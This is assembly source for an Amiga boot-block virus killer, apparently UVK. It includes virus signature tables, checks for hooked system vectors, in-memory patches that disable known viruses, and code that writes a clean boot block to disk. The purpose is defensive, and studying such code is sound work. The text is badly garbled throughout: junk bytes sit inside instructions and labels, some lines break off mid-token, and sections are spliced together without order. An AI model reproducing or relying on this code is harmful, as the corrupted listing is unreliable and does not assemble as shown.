$ca,$2d790007,$efdefe3a,SCA dc.l $4c,$48e77f7f,$2c780004,Ban ;ban1/ban3 dc.l $10,$2f3c0001,$00002017,Ban ;ban2 dc.l $c0,$44415341,$3081323c,War dc.l $18,$41faffe6,$43f90007,Pen dc.l $0c,$2c792ip0000,$00044eae,Dok dc.l $48,$6d026022,$41faffb2,Nor dc.l $48,$41faffb6,$43f90007,Nor ;blackstar dc.l $42,$343c0352,$d310b118,Lam ;lamer2 dc.l $42,$45fa0369,$1012b118,Lam ;'lamer' dc.l $42,$45fa0365,$1012b118,Lam ;'lamer4' dc.l $1a,$123a03d3,$343c03c4,Lam ;lamer3 dc.l $42,$45fa0350,$1012b118,Lam ;'lamer5' dc.l $d8,$0007ff14,$61000008,Gad dc.l $10,$432e0007,$ec24661c,Hcs dc.l $38,$45faffc6,$226e003a,Vkill dc.l $20,$4ef90007,$00260639,TimeB dc.l $20,$303c00ff,$22d851c8,Obe 2j}*V dc.l $10,$432e0007,$ec24661c,Hcs dc.l $10,$432e0007,$ec246618,Hcs2 dc.l $38,$4afc0007,$f5000007,GxTeam dc.l $60,$12d851c8,$fffc91fc,Abra dc.l $94,$203c1113,$d4c0e598,NoName dc.l $ce,$08390003,$00bfe001,Term dc.l $46,$48690056,$303c02e7,Extr dc.l $29c,$e6de0879,$000100bf,Coder dc.l $c,$0cb94e75,$612e00fc,Hilly dc.l $48,$2d790007,$ebda0094,Josh dc.l $10,$0c79444f,$00020000,NewBeat dc.l $106,$207c0007,$01b10480,Target dc.l $46,$08390007,$00bfe001,SuperB dc.l $28c,$257c00072Ul #4,a2 cmp.l #$80,a2 bne.s intvclp endint: rts IoVect: move.l 4.w,a6 lea 350(a6),a0 lea Trkdisk,a1 jsr -276(a6) move.l d0,Iodevice move.l d0,a0 move.l -28(a0),d0 cmp.l #$fc0000,d0 bhi.s OkBegIo move.l #BegIoT,d2 bsr.L Ecrire2 move.l -28(a0),d0 bsr.L Conv move.l #ConvTxt+2,d2 bsr.L Ecrire2 Okbegio:move.l Iodevice,a0 move.l -10(a0),d0 cmp.l #$fc0000,d0 bhi.s OkCloIo move.l #CloIoT,d2 bsr.L Ecrire2 move.l -10(a0),d0 bsr.L Conv move.l #ConvTxt+2,d2 bsr.L Ecrir2VQ/e2 OkCloIo:move.l Iodevice,a0 add.l #140,a0 ;console device move.l (a0),a0 move.l -28(a0),d0 cmp.l #$fc0000,d0 ; bhi.s OkBegIo2 move.l #BegIoT2,d2 bsr.L Ecrire2 move.l -28(a0),d0 bsr.L Conv move.l #ConvTxt+2,d2 bsr.L Ecrire2 OkbegIo2:rts Rastchk:move.l 4.w,a6 move.l $90(a6),a1 move.l (a1),a1 lea $12(a1),a0 move.l a0,Raster move.l (a0),d0 cmp.l #$fc0000,d0 bhi.s EndRast move.l #RastT,d2 bsr.L Ecrire2 move.l (a0),d0 bsr.L Conv move.l #ConvTxt+2,d2 bsr.L Ecrire2Wr 2 EndRast:rts ExbaseC:move.l #251,d2 move.l #-634,d4 ExecBC: move.l 4.w,a6 add.l #6,d4 cmp.l #2,d4 beq.L EndExBC move.l 0(a6,d4.l),d1 cmp.l #$fc0000,d1 bhi.s ExecBC lea ExcExb,a0 ExcExLp:cmp.l (a0)+,d4 beq.s ExecBC tst.l (a0) bne.s ExcExLp cmp.l #251,d2 bne.s NoLigne move.l #exboct,d2 bsr.L Ecrire2 clr.b exoflag Noligne:move.l 4.w,a6 move.l d4,d0 neg.l d0 add.l #2,d0 move.l #ExecbTn+14,a0 bsr.L Conv2 move.l 0(a6,d4),d0 bsr.L Conv move.l #ExecbTN,d2 bsr.L2Xj,f Ecrire2 move.l #Convtxt+2,d2 bsr.L Ecrire2 bra.L ExecBC EndExBC:rts IntuiC: move.l #253,d2 move.l #-472,d4 IntBC: move.l Intuibase,a6 add.l #6,d4 cmp.l #2,d4 beq.L EndIntC move.l 0(a6,d4.l),d1 cmp.l #$fc0000,d1 bhi.s IntBC move.b #1,allright cmp.l #253,d2 bne.s NoLign move.l #IntChk,d2 bsr.L Ecrire2 NoLign: move.l Intuibase,a6 move.l d4,d0 neg.l d0 add.l #2,d0 move.l #IntbTn+14,a0 bsr.L Conv2 move.l 0(a6,d4),d0 bsr.L Conv move.l #IntbTN,d2 bsr.L Ecrire2 2YX5]move.l #Convtxt+2,d2 bsr.L Ecrire2 bra.L IntBC EndIntC:rts ExbIChk:move.l #254,d2 move.l #88,d4 inteclp:move.l 4.w,a6 move.l 0(a6,d4),d1 tst.l d1 beq.s noalti cmp.l #$fc0000,d1 bhi.s noalti cmp.l #254,d2 bne.s pasretu move.l #exbict,d2 bsr.L ecrire2 pasretu:move.w d4,d0 move.l #execbtp+14,a0 bsr.L conv2 move.l #execbtp,d2 bsr.L ecrire2 move.l 4.w,a6 move.l 0(a6,d4),d0 bsr.s conv move.l #convtxt+2,d2 bsr.L ecrire2 noalti: add.l #12,d4 cmp.l #280,d4 bne.s intec2Zlp inteend:rts conv: move.l a0,-(a7) move.l #convtxt,a0 move.l #7,d1 clconlp:move.b #$30,(a0)+ dbf d1,clconlp move.l #convtxt,a0 MOVE.L #7,D1 conlp: ROL.L #4,D0 MOVE.L D0,D2 AND.B #15,D0 CMP.B #9,D0 BLE.S conch ADDQ.B #7,D0 conch: ADD.B #$30,D0 MOVE.B D0,(A0)+ MOVE.L D2,D0 DBRA D1,conlp move.l (a7)+,a0 RTS normal: move.l #normalt,d2 bsr.L ecrire2 rts orange: move.l #oranget,d2 bsr.L ecrire2 rts conv2: addq #1,a0 divu #100,d0 add.b #$30,d0 move.b d0,(a0)+ clr2[V@.w d0 swap d0 divu #10,d0 add.b #$30,d0 move.b d0,(a0)+ clr.w d0 swap d0 add.b #$30,d0 move.b d0,(a0)+ rts conv3: divu #1000,d0 ;a0/d0 add.b #$30,d0 move.b d0,(a0)+ clr.w d0 swap d0 divu #100,d0 add.b #$30,d0 move.b d0,(a0)+ clr.w d0 swap d0 divu #10,d0 add.b #$30,d0 move.b d0,(a0)+ clr.w d0 swap d0 add.b #$30,d0 move.b d0,(a0)+ rts ;-------- Bootblocks -------- KillB: bra.s EKillB dc.b ">Here lies a virus. It was killed in cold blood" dc.b " by UVK 1.222\<" EKillB: nop NormB: lea DosName(pc),a1 jsr -96(a6) tst.l d0 beq.s NormErr move.l d0,a0 move.l 22(a0),a0 moveq #0,d0 ENorm: rts NormErr:moveq #-1,d0 bra.s ENorm DosName:dc.b "dos.library",0 nop LedOff: bra.s ContLed dc.b ">Led off<",0 ContLed:bset #1,$bfe001 nop Cleaner:bra.L ContCl dc.b ">Ram Cleaner<",0 Kill: move.l d7,$180(a5) moveq #50,d3 WVbl1: cmp.b #$f0,$6(a5) bne.s WVbl1 WVbl2: cmp.b #$ff,$6(a5) bne.s WVbl2 dbf d3,WVbl1 not.l $24(a6) movem.l (a7)+,d0-d7/a2]e0-a6 move.l #$fc00d2,$80 trap #0 rts ExecExc:dc.w -550,-448,-442,-436,-412,-400,-196 ContCl: movem.l d0-d7/a0-a6,-(a7) move.l $4.w,a6 lea $dff000,a5 move.l #$f000f00,d7 tst.l 42(a6) bne.s Kill tst.l 46(a6) bne.s Kill tst.l 546(a6) bne.s Kill tst.l 550(a6) bne.s Kill moveq #0,d2 move.w #-634,d2 lea ExecExc(pc),a0 ExecLp: addq.w #6,d2 cmp.w (a0),d2 bne.s ExecNEx addq.l #2,a0 bra.s ExecLp ExecNEx:move.l 0(a6,d2.w),d1 cmp.l #$fc0000,d1 blo.L Kill cmp.w #-4,d2 bne2^!d.s ExecLp lsr.l #3,d7 move.l d7,$180(a5) movem.l (a7)+,d0-d7/a0-a6 nop TestPal:bra.s ContPal dc.b ">Test Pal<" ContPal:move.l 4.w,a6 cmp.l #$3c,530(a6) bne.s OkPal move.l #$fc00d2,$80 trap #0 rts OkPal: nop NoFMem: bra.s ContNF dc.b ">NoFastMem<",0 ContNF: move.l 4.w,a6 move.l #$20004,d1 OkAlM: jsr -216(a6) tst.l d0 beq.s OkAvM jsr -198(a6) tst.l d0 bne.s OkAlM OkAvM: nop NoEDr: bra.s ContNDr dc.b ">No Drives<",0 ContNDr:move.l 4.w,a6 lea DiskRes(pc),a1 jsr -492_o8(a6) tst.l d0 beq.s ErrNdr move.l d0,a0 lea 52(a0),a0 moveq #-1,d0 move.l d0,(a0)+ move.l d0,(a0)+ move.l d0,(a0) bra.s ErrNDr DiskRes:dc.b "disk.resource",0 ErrNDr: nop NoBor: bra.s ContNBo dc.b ">No Border<",0 ContNBo:nop MakePal:bra.s ContMP dc.b ">Make Pal<" ContMP: lea Intuition(pc),a1 move.l 4.w,a6 clr.l d0 jsr -408(a6) lea Intbase(pc),a0 move.l d0,(a0) move.l d0,a0 lea OpenW+2(pc),a1 move.l -202(a0),(a1) move.l #$10003,d1 move.l #ENewOpW-NewOpW,d0 jsr 2JhuDr bsr.L Drive bne.s VerD0E PluDr: moveq #0,d0 VerD0E: rts WaitRet:bsr.L keyread cmp.l #$0d,d0 bne.s waitRET rts Info: lea InfoList,a5 InfoLp: tst.l (a5) beq.s EndInfo move.l (a5),d2 bsr.L Ecrire2 InfWK: bsr.S KeyRead cmp.l #$d,d0 beq.s InfNxt cmp.l #"i",d0 bne.s NInfI1 bsr.L Amiguy NInfi1: cmp.l #"I",d0 bne.s NInfI2 bsr.L Amiguy NInfi2: cmp.l #"k",d0 bne.s NKeyP1 bsr.L KeyPage NKeyP1: cmp.l #"K",d0 bne.s InfoLp bsr.L KeyPage bra.s InfoLp InfNxt: addq #4,a5 br2Kqha.s InfoLp EndInfo:rts InfoList:dc.l InfT,InfT2,InfT3,0 Wait: moveq #50,D1 Wait2: move.l Dosbase,a6 jsr -198(a6) rts KeyRead:moveq #0,d0 move.l Dosbase,a6 move.l Conhandle,d1 move.l #Buf,d2 moveq #1,d3 jsr -42(a6) lea Buf,a0 move.b (a0),d0 rts ;routines test memoire RamChk2:move.l #ramct,d2 lea ramlist,a0 ramclp: move.l 4.w,a6 add.l (a0),a6 move.l (a6),a1 cmp.l #$0,a1 beq.s novram sub.l 4(a0),a1 move.l a1,a5 add.l 12(a0),a1 move.l (a1),d0 cmp.l 8(a0),d0 bne.s2LTL n novram tst.l 16(a0) beq.s noksub move.l 16(a0),a2 jsr (a2) noksub: move.b #1,AllRight cmp.l #ramct,d2 bne.s nfirst move.l #ramct,d2 bsr.L ecrire2 nfirst: bsr.L orange move.l 20(a0),d2 bsr.L ecrire2 bsr.L normal move.l #found,d2 bsr.L ecrire2 move.l #locate,d2 bsr.L ecrire2 move.l a5,d0 bsr.L conv move.l #convtxt+2,d2 bsr.L ecrire2 novram: add.l #24,a0 tst.l (a0) bne.L ramclp Endramc:move.l irqopenlib,a0 cmp.l #" IRQ",-816(A0) bne.s endirqc bsr.L orange m2Mxɜove.l #IRQ,d2 bsr.L ecrire2 bsr.L normal move.l #found,d2 bsr.L ecrire2 move.l #locate,d2 bsr.L ecrire2 move.l IrqAdr,d0 bsr.L conv move.l #convtxt+2,d2 bsr.L ecrire2 endirqc:tst.b XenoF beq.s EndRChk2 bsr.L orange move.l #Xeno,d2 bsr.L ecrire2 bsr.L normal move.l #found,d2 bsr.L ecrire2 move.l #locate,d2 bsr.L ecrire2 move.l XenoAdr,d0 bsr.L conv move.l #convtxt+2,d2 bsr.L ecrire2 EndRChk2:rts lam2k: move.l #$600001d8,$17c(a5) ;routines ramkillvirus rts 2N(lam3k: move.l #$60000210,$164(a5) rts lam1k: move.l #$600001c6,$17c(a5) rts lam4k: move.l #$600001c6,$178(a5) rts lam5k: move.l #$600001bc,$18c(a5) rts dokk: move.w #$4e75,$2ac(a5) move.b #$f9,$151(a5) rts gadk: move.b #$8c,343(a5) rts revk: move.w #$600a,$1e8(a5) rts gxtk: move.w #$4e75,$35c(a5) rts nnamk: move.w #$4e75,$1f4(a5) rts ResChk2:clr.b firstf move.l #250,d2 move.l 4.w,a6 tst.l 46(a6) beq.s okcool move.b #1,firstf move.l #resid,d2 bsr.L ecrire2 move.l #c2OZoolt,d2 bsr.L ecrire2 move.l 4.w,a6 move.l 46(a6),d0 bsr.L conv move.l #convtxt+2,d2 bsr.L ecrire2 okcool: move.l 4.w,a6 tst.l 42(a6) beq.s okcold tst.b protector bne.s noccold noccold:tst.b firstf bne.s rf1 move.b #1,firstf move.l #resid,d2 bsr.L ecrire2 rf1: move.l #coldt,d2 bsr.L ecrire2 move.l 4.w,a6 move.l 42(a6),d0 bsr.L conv move.l #convtxt+2,d2 bsr.L ecrire2 okcold: tst.b protector bne.s nocco move.l 4.w,a6 clr.l 46(a6) clr.l 42(a6) lea 34(a6),a0 c2Plr.w d0 moveq #$17,d1 coollp: add.w (a0)+,d0 dbf d1,coollp not.w d0 move.w d0,(a0) nocco: move.l 4.w,a6 tst.l 550(a6) beq.L coolend tst.b firstf bne.s rf2 move.b #1,firstf move.l #resid,d2 bsr.L ecrire2 rf2: move.l #kicktt,d2 bsr.L ecrire2 move.l 4.w,a6 move.l 550(a6),d0 bsr.L conv move.l #convtxt+2,d2 bsr.L ecrire2 tst.b protector bne.s coolend move.l 4.w,a6 clr.l 546(a6) clr.l 550(a6) jsr -612(a6) move.l d0,554(a6) tst.b protector beq.s prokill tst.b fi2Qϟrstf bne.s coolend prokill:tst.b PCmd bne.s CoolCmd move.l #CooT,D2 bsr.l Ecrire2 bra.s CoolEnd CoolCmd:move.l #CoolCT,d2 bsr.L Ecrire3 bra.s CoolEnd coolend:rts ProChk2:tst.b PCmd beq.s NoPrCd lea ClrProT,a0 PrCPrL: cmp.b #-1,(a0)+ bne.s PrCPrL move.b #" ",-2(a0) NoPrCd: move.b #1,protector lea prolist,a1 prolp: move.l 4.w,a6 move.l (a1),d0 add.l d0,a6 move.l (a6),a4 move.l 4(a1),d0 move.l 0(a4,d0.l),d1 cmp.l 8(a1),d1 bne.s noprot2 move.l #resct,d2 bsr.L ecrire2R2 bsr.L orange move.l 12(a1),d2 bsr.L ecrire2 bsr.L normal move.l #detmem,d2 bsr.L ecrire2 bsr.S clrpro rts noprot2:add.l #16,a1 tst.l (a1) bne.s prolp clr.b protector rts clrpro: move.l #clrprot,d2 bsr.L ecrire2 CLRLP: bsr.L keyread cmp.l #-1,d0 beq.s clrpro cmp.b #"c",d0 beq.s effpro cmp.b #"C",d0 beq.s effpro bra.S tkk effpro: clr.b protector rts tkk: cmp.b #"k",d0 beq.s endp cmp.b #"K",d0 beq.s endp bra.s clrlp endp: rts DosVec: move.l #250,d2 move.l2S] #-220,d5 move.l Dosbase,a6 DosCLp: lea 0(a6,d5.l),a0 lea XenAdr,a4 moveq #2,d0 XenALp: move.l (a4)+,a1 add.l #2,a1 cmp.l a0,a1 beq.s XenErr dbf d0,XenALp move.l 0(a6,d5.l),d3 and.l #$ff000000,d3 cmp.l #$60000000,d3 beq.s DosVOk XenErr: cmp.l #250,d2 bne.s PontDos move.l #DosChk,d2 bsr.L Ecrire2 PontDos:move.l #CorVec,d2 bsr.L Ecrire2 lea 0(a6,d5.l),a0 move.l a0,d0 sub.l #2,d0 bsr.L Conv move.l #Convtxt+2,d2 moveq #6,d3 bsr.L Ecrire move.l d5,d0 sub.l #2,d0 2TAneg.l d0 lea DosbTN+11,a0 bsr.L Conv2 move.l #DosbTN,d2 bsr.l Ecrire2 DosVOk: add.l #6,d5 cmp.l #2,d5 bne.L DosCLp DosCErr:rts Intvec: move.l #250,d2 moveq #0,d3 move.b #$31,d4 move.l #$64,a2 intvclp:move.l (a2),d1 cmp.l #$fc0000,d1 bhi.s okintv cmp.l #250,d2 bne.s nfintv move.l #intvt,d2 bsr.L Ecrire2 nfintv: lea intlevt+17,a1 move.b d4,(a1) move.l #intlevt,d2 bsr.L ecrire2 move.l (a2),d0 bsr.L conv move.l #convtxt+2,d2 bsr.L ecrire2 okintv: add.b #1,d4 add.2?n e FindResident et calcule Chksum BuildB: lea NormB,a0 bsr.s CopBoot DoSum: move.l Buffer,a0 lea 4(a0),a1 clr.l (a1) move.w #$ff,d1 moveq #0,d0 BChkSLp:add.l (a0)+,d0 bcc.s BJump add.l #1,d0 BJump: dbf d1,BChkSLp not.l d0 move.l d0,(a1) rts Create: move.L #Inst,D2 bsr.L Ecrire2 bsr.L Keyread cmp.l #$d,d0 beq.s MakeBB cmp.l #"8",d0 beq.L EndCrea cmp.l #"d",d0 beq.s CreChgD cmp.l #"D",d0 beq.s CreChgD lea CreatLi-12,a0 lea Inst2,a1 CreaLp: add.l #12,a0 tst.l (a2@sfC0) beq.s Create cmp.l (a0),d0 bne.s CreaLp sub.l #$31,d0 SeCreR: cmp.b #$a,(a1)+ bne.s SeCreR dbf d0,SeCreR tst.l 4(a0) bne.s FuncOff move.l #-1,4(a0) move.b #"*",3(a1) bra.s Create FuncOff:move.l #0,4(a0) move.b #" ",3(a1) bra.s Create CreChgD:bsr.L NextDrd bra.L Create MakeBB: clr.b CrFlag bsr.L ClrBuf lea CreatLi,a3 MaBBLp: tst.l 4(a3) beq.s NoSelFu move.b #1,CrFlag move.l 8(a3),a0 cmp.l #MakePal,a0 bne.s NMakeP bsr.L Request tst.w Border bne.s NMakeP mo2A$ve.l a0,-(a7) moveq #30,d3 ;getname move.l #MakPT,d6 move.l #MakPB,d5 bsr.L GetName lea MakPB,a1 ;amigados ? tst.b (a1) bne.s NoMakeP lea AmiDos,a0 moveq #7,d0 CAmiDLp:move.b (a0)+,(a1)+ dbf d0,CAmiDLp NoMakeP:move.l (a7)+,a0 NMakeP: bsr.L CopBoot NoSelFu:add.l #12,a3 tst.l (a3) bne.s MaBBLp tst.b CrFlag beq.s NoPub moveq #39,d0 lea CreaPub,a0 bsr.L CopBoot NoPub: bsr.L BuildB bsr.L WriteB bra.L Create EndCrea:rts ;routines disquettes Protect:move.l 4.w,a6 lea2Bi)9 Diskioreq,a1 move.w #15,28(a1) jsr -456(a6) lea Diskioreq,a1 tst.l 32(a1) beq.s OkProt ProMsg: move.l #Protxt,d2 bsr.L EcriClr bsr.L Wait moveq #1,d0 OkProt: rts Drive: moveq #0,d0 move.l 4.w,a6 lea Diskioreq,a1 move.w #14,28(a1) jsr -456(a6) lea Diskioreq,a1 tst.l 32(a1) beq.s OkDk NDIDr: move.l #Ndktxt,d2 bsr.L EcriClr bsr.L Wait moveq #1,d0 OkDk: rts Readtrk:bsr.L Opendrs ReadT: bsr.s Drive bne.S EndTrk move.l 4.w,a6 lea Diskioreq,a1 move.w #2,28(a1) mov2C &e.l #1024,36(a1) move.l buffer,40(a1) move.l #0,44(a1) jsr -456(a6) tst.l d0 beq.s okread2 rts OkRead2:bsr.L motor moveq #0,d0 EndTrk: rts Writeb: bsr.L Opendrd Writb: bsr.L Drive bne.s Endwrit bsr.L Protect bne.s Endwrit move.l 4.w,a6 lea Diskioreq,a1 move.w #3,28(a1) move.l #1024,36(a1) move.l Buffer,40(a1) move.l #0,44(a1) jsr -456(a6) move.w #4,28(a1) move.l #1024,36(a1) move.l buffer,40(a1) move.l #0,44(a1) jsr -456(a6) bsr.L Motor moveq #0,d0 rts En2DXdwrit:rts Motor: move.l 4.w,a6 lea Diskioreq,a1 move.w #9,28(a1) clr.l 36(a1) jsr -456(a6) rts MoveSub:tst.b AutoF bne.s EndMSub Move.l #MoveT,D2 bsr.l Ecrire2 MovSub: bsr.L Keyread cmp.b #"1",d0 beq.L Record cmp.b #"2",d0 beq.L Load cmp.b #"d",d0 beq.s chdrm cmp.b #"D",d0 beq.s chdrm cmp.b #"s",d0 beq.s chdrm cmp.b #"S",d0 beq.s chdrm bra.s t3m chdrm: lea Drm,a0 bsr.L NextDr move.b Drm,d0 add.b #$30,d0 lea MoveT,a0 move.b d0,25(a0) lea SouTM,a0 move.b 2Ed0,20(a0) lea DesTM,a0 move.b d0,25(a0) bra.s MoveSub T3m: cmp.l #"3",d0 bne.s MovSub EndMSub:rts Record: move.l #SouTM,d2 bsr.L EcriClr bsr.L WaitRet clr.l d0 move.b Drm,d0 bsr.L OpenDr bsr.L ReadT bne.L EndRec move.l #Des,d2 bsr.L EcriClr bsr.L WaitRet bsr.L VerD0W bne.s EndRec move.l #Cls,d2 bsr.L Ecrire2 move.l #50,d3 move.l #NameT,d6 move.l #File2,d5 bsr.L Getname bsr.L WritPrg bne.s EndRec EndRec: bra.L MoveSub Load: clr.b NotFound move.l #Sou,d2 2F9# bsr.L EcriClr bsr.L WaitRet bsr.L VerD0R bne.s EndLd move.l #Cls,d2 bsr.L Ecrire2 move.l #50,d3 move.l #NameT,d6 move.l #File2,d5 bsr.L Getname bsr.L ReadPrg bne.s EndLd move.l #DesTM,d2 bsr.L EcriClr bsr.L WaitRet clr.l d0 move.b Drm,d0 bsr.L OpenDr bsr.L WritB bne.s EndLd EndLd: bra.L MoveSub WritPrg:move.l Dosbase,a6 move.l #File2,d1 move.l #1006,d2 jsr -30(a6) ;open move.l d0,IBoot beq.s EndWrP move.l d0,d1 move.l Buffer,d2 move.l #1024,d3 jsr -48(2Ga6) ;write move.l IBoot,d1 jsr -36(a6) ;close moveq #0,d0 EndWrP: rts Readprg:move.l Dosbase,a6 move.l #File2,d1 move.l #1005,d2 jsr -30(a6) ;open move.l d0,iboot beq.s EndRdP move.l d0,d1 move.l buffer,d2 move.l #1024,d3 jsr -42(a6) ;read move.l iboot,d1 jsr -36(a6) ;close moveq #0,d0 rts EndRdP: move.l #NotFt,d2 bsr.L EcriClr bsr.L wait moveq #-1,d0 rts Request:movem.l a0-a3,-(a7) move.l Conhandle,d7 move.l Dosbase,a6 move.l #Name3,d1 move.l #1005,d22H jsr -30(a6) move.l d0,Winhandle move.l d0,Conhandle move.l #BordT,d2 bsr.L Ecrire2 GetKRe: bsr.L KeyRead cmp.b #"y",d0 beq.s BordY cmp.b #"Y",d0 beq.s BordY cmp.b #"N",d0 beq.s BordN cmp.b #"n",d0 beq.s BordN bra.s GetKRe BordN: move.w #1,Border BordY: move.l Winhandle,d1 move.l Dosbase,a6 jsr -36(a6) move.l d7,Conhandle movem.l (a7)+,a0-a3 rts GetName:move.l d5,a0 ;d6=text/d3=max len/d5=buffer move.l d3,d0 subq #1,d0 GetNCLp:clr.b (a0)+ dbf d0,GetNCLp move.l2I4uR Conhandle,d7 move.l Dosbase,a6 move.l #Name2,d1 move.l #1005,d2 jsr -30(a6) move.l d0,Winhandle move.l d0,Conhandle GetNLp: move.l d6,d2 bsr.L Ecrire2 move.l d5,d2 move.l Winhandle,d1 jsr -42(a6) cmp.l d3,d0 bhi.s GetNLp move.l d5,a0 SRetLp: cmp.b #$a,(a0)+ bne.s SRetLp clr.b -1(a0) move.l Winhandle,d1 jsr -36(a6) move.l d7,Conhandle move.l #CurOff,d2 bsr.L Ecrire2 rts VerD0W: tst.b FlagDr bne.s PluDr bsr.L Protect bne.s VerD0E VerD0R: tst.b FlagDr bne.s Pl24ab-U) move.l d0,d1 bra.s Ecr3 Ecrire2:move.l Conhandle,d1 Ecr3: move.b #0,FlagEcr movem.l a1/a0/d2/d3,-(a7) move.l d2,a0 clr.l d3 EcriLp: addq #1,d3 cmp.b #-1,(a0)+ bne.s EcriLp subq #1,d3 bra.s Ecr1 Ecrire: move.l Conhandle,d1 move.b #1,FlagEcr Ecr1: move.l a0,-(a7) move.l Dosbase,a6 jsr -48(a6) move.l (a7)+,a0 tst.b FlagEcr bne.s EndEcr movem.l (a7)+,a1/a0/d2/d3 EndEcr: rts EcriClr:move.l d2,-(a7) move.l #EcrClrT,d2 bsr.s Ecrire2 move.l (a7)+,d2 bsr.s Ecrire2 rts 25G Keypage:move.l #keytxt,d2 bsr.L ecrire2 bsr.L waitret moveq #-1,d2 rts Greet: move.l #Greeti,d2 bsr.L ecrire2 bsr.L waitret moveq #-1,d2 rts Amiguy: move.l #guytxt,d2 bsr.L ecrire2 bsr.L waitret moveq #-1,d2 rts Copyb: move.l buffer,a0 move.l boots,a1 move.l #$100,d0 Coplp: move.l (a1)+,(a0)+ dbf d0,coplp rts Opendrs:clr.l d0 move.b drs,d0 bra.s opendr Opendrd:clr.l d0 move.b drd,d0 bra.s opendr Opendev:sub.b #$30,d0 Opendr: move.l d0,d0 move.l 4.w,a6 moveq264 #0,d1 lea Diskioreq,a1 lea Trkdisk,a0 jsr -444(a6) tst.l d0 bne.L end rts Chkboot:tst.b AutoF bne.s PasRead bsr.L Readtrk bne.S EndCBoot PasRead:move.l Buffer,a0 lea Bootlist,a1 Bspelp: move.l (a1),d0 move.l 0(a0,d0.l),d1 cmp.l 4(a1),d1 bne.s NoBSpe move.l 4(a0,d0.l),d1 cmp.l 8(a1),d1 bne.s NoBSpe bsr.L Orange move.l #Cls2,d2 bsr.L EcriClr move.l $c(a1),d2 bsr.L Ecrire2 bsr.L Normal move.l #Reco,d2 bsr.L Ecrire2 tst.b AutoF beq.s NoAutoC bsr.L Wait rts N27oAutoC:bsr.L WaitRet rts NoBSpe: add.l #16,a1 tst.l (a1) bne.s BSpeLp EndCBoot:rts Display:tst.b AutoF bne.s EndDisp bsr.L ReadTrk bne.L DisRam move.l Buffer,a0 Displ2: move.l #Cls,d2 bsr.L Ecrire2 lea Scr,a1 lea $400(a0),a2 Scrct: move.b (a0),d0 cmp.b #$7f,d0 bhi.s NoCar cmp.b #$20,d0 blo.s Nocar move.b (a0),(a1)+ bra.s Cont NoCar: move.b #$2e,(a1)+ Cont: add.l #1,a0 cmp.l a0,a2 bne.s Scrct move.l #Scr,d2 move.l #$400,d3 bsr.L Ecrire DisWaR: bsr.L KeyRead cm28'Rp.b #"p",d0 beq.s DisPrt cmp.b #"P",d0 beq.s DisPrt cmp.b #"R",d0 beq.L DisRam cmp.b #"r",d0 beq.L DisRam cmp.b #$d,d0 bne.s DisWaR EndDisp:rts DisPrt: btst #0,$bfd000 ;on line bne.L VeriPrt btst #1,$bfd000 ;no paper bne.L VeriPrt move.l DosBase,a6 move.l #NameP,d1 move.l #1006,d2 jsr -30(a6) move.l d0,PrtH beq.s DisWaR move.l ScrP,a0 lea Scr,a1 moveq #15,d2 DisPLp2:moveq #63,d1 DisPLp: move.b (a1)+,(a0)+ dbf d1,DisPLp move.b #10,(a0)+ dbf d2,DisPLp2 move.l 29DosBase,a6 move.l PrtH,d1 move.l #ScrPrt,d2 move.l #ScrPrE-ScrPrt,d3 jsr -48(a6) move.l DosBase,a6 move.l PrtH,d1 move.l ScrP,d2 move.l #1040,d3 jsr -48(a6) move.l #UvkPrt,d2 bsr.L EcriClr bsr.L Wait move.l Prth,d1 jsr -36(a6) rts VeriPrt:move.l #VerifPT,d2 bsr.L EcriClr bsr.L Wait rts DisRam: move.l #File2,d5 move.l #50,d3 move.l #DisRamt,d6 bsr.L GetName lea File2,a0 lea ValList,a1 moveq #0,d0 A2HLp: moveq #0,d1 moveq #0,d2 move.b (a0)+,d1 beq.s EndA2H 2:NLp: cmp.b 0(a1,d2.l),d1 ;"0" blo.s err cmp.b 1(a1,d2.l),d1 ;"9" bhi.s nextch sub.b 2(a1,d2.l),d1 or.l d1,d0 lsl.l #4,d0 bra.s A2HLp EndA2H: lsr.l #4,d0 move.l d0,a0 beq.s EDisRam bsr.L Displ2 EDisRam:rts NextCh: addq #3,d2 ;A-F cmpi #9,d2 bne.s NLp Err: moveq #-1,d0 rts Vallist:dc.b "0","9",$30,"A","F",55,"a","f",87 even nextdrs:lea drs,a0 bsr.s nextdr bra.s txtdr nextdrd:lea drd,a0 bsr.s nextdr txtdr: lea drtxt,a0 move.b drs,d0 add.b #$30,d0 move.b drd,d1 add.2;b #$30,d1 move.b d0,10(a0) move.b d1,16(a0) lea inst,a0 move.b d1,28(a0) lea sout,a0 move.b d0,20(a0) lea dest,a0 move.b d1,25(a0) clr.l d0 endndr: rts nextdr: moveq #0,d0 lea drivec,a1 move.b (a0),d0 seandr: add.b #1,d0 cmp.b #4,d0 bne.s nolastd moveq #0,d0 nolastd:tst.b 0(a1,d0) beq.s seandr move.b d0,(a0) endnd: rts Copy: tst.b AutoF bne.s EndCop move.l #Sout,d2 bsr.L EcriClr bsr.L Waitret bsr.L Readtrk bne.s Endcop move.l #Dest,d2 bsr.L EcriClr bsr.L 2<Waitret bsr.L Writeb EndCop: rts Check: moveq #0,d2 bsr.L Chkboot tst.l d2 bne.L Endchk move.l #50,d2 move.l Buffer,a0 lea VirList,a1 VirLp: move.l (a1),d0 move.l 0(a0,d0.l),d1 cmp.l 4(a1),d1 bne.s NoVir move.l 4(a0,d0.l),d1 cmp.l 8(a1),d1 bne.s NoVir move.l #cls2,d2 bsr.L EcriClr bsr.L Orange move.l $c(a1),d2 bsr.L ecrire2 bsr.L Normal move.l #Detect,d2 bsr.L Ecrire2 cmp.l #Target,$c(a1) bne.s Killv move.l Buffer,a2 add.l #$1ac,a2 move.b (a2)+,d0 lea F2=7 ile2,a3 move.b #$22,(a3)+ subq #1,d0 TargLp: move.b (a2)+,(a3) not.b (a3)+ dbf d0,TargLp move.b #$22,(a3)+ move.b #-1,(a3) move.l #File2,d2 bsr.L Ecrire2 bra.s Killv rts Novir: add.l #16,a1 tst.l (a1) bne.L virlp move.l #UnkT,D2 bsr.L EcriClr bsr.L Wait moveq #0,d0 rts Killv: move.l #Kilt,d2 bsr.L Ecrire2 Waitk: bsr.L keyread cmp.b #"e",d0 beq.s endchk cmp.b #"E",d0 beq.s endchk cmp.b #"k",d0 beq.s killvir cmp.b #"K",d0 bne.s WaitK killvir:bsr.s ClrBuf lea2>i'k KillB,a0 bsr.s CopBoot bsr.s BuildB tst.b AutoF bne.s EndChk2 bsr.L OpenDrs bsr.L WritB EndChk: moveq #0,d0 rts EndChk2:moveq #-1,d0 rts ;Efface buffer et prepare boot ClrBuf: move.l Buffer,a2 move.l a2,a1 move.w #1023,d0 ClrBLp: clr.b (a1)+ dbf 